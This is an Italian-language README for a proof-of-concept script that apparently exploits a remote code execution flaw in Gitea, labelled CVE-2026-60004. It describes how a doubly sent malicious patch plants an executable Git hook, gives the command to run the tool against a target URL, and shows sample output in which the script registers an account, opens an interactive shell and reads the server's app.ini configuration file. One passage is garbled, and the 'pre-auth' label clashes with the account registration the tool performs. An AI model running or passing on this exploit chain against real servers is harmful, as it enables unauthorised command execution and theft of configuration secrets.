
CVE-2026-60004 — Gitea <= 1.27.0 Pre-Auth RCE
Questo è un proof-of-concept per CVE-2026-60004, una vulnerabilità critica di esecuzione di codice in remoto in Gitea versione 1.17 fino alla 1.27.0. Lo script automatizza l'intera catena di sfruttamento, dalla registrazione dell'utente fino alla creazione di una shell interattiva e stabile sul server target.
La vulnerabilità è presente nell'endpoint API /diffpatch. Inviando due volte una patch dannosa, una collisione add/add attiva il fallback della merge a tre vie che ignora il flag --cached e scrive una hook Git eseguibile direttamente nella GIT_DIR del repository bare. Quando Git aggiorna l'indice, esegue automaticamente questa hook, consentendo l'esecuzione arbitraria di comandi con l'account di servizio di Gitea.
Poiché Gitea è un binario Go compilato senza un interprete PHP integrato, il caricamento di una webshell tradizionale spesso fallisce se non è presente un server web secondario configurato per eseguirla. Per risolvere questo problema e garantire che l'exploit sia completamente stabile, questo script utilizza un approccio basato su API:
post-index-change tramite la collisione diffpatch.cmd.sh), lo esegue come account di servizio e scrive l'output in un blob Git (proof).Questo crea una shell interattiva completamente funzionale direttamente tramite l'API di Gitea, senza richiedere server web esterni o interpreti secondari.
python3 poc.py https://target.com

Una volta eseguito, lo script registrerà automaticamente un account, inserirà la hook dannosa e ti porterà in una shell interattiva:
---------------------------------------------------
CVE-2026-60004 -- Gitea <= 1.27.0 Pre-Auth RCE
Fully Interactive API Shell
---------------------------------------------------
[*] Fetching CSRF token from signup page...
[+] CSRF token acquired.
[*] Registering user: poc5wp6tp
[+] Authenticated as poc5wp6tp
[*] Creating repository: poc-ozirkq
[+] Repository created.
[*] Fetching main branch SHA...
[*] Planting malicious hook via add/add collision...
[+] Hook planted and triggered.
[*] Verifying RCE...
[+] RCE VERIFIED! Shell is ready.
uid=1000(git) gid=1000(git) groups=1000(git)
==================================================
Gitea API-driven Interactive Shell
Type 'exit' to quit
==================================================
gitea-rce$ whoami
git
gitea-rce$ ls -la /data/gitea/repositories
...
gitea-rce$ cat /data/gitea/conf/app.ini
...
Questo strumento è destinato esclusivamente a scopi educativi e a test di sicurezza autorizzati, come i CTF. Assicurati di avere il permesso esplicito di testare il sistema target. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento.
Chirag Artani - https://3rag.com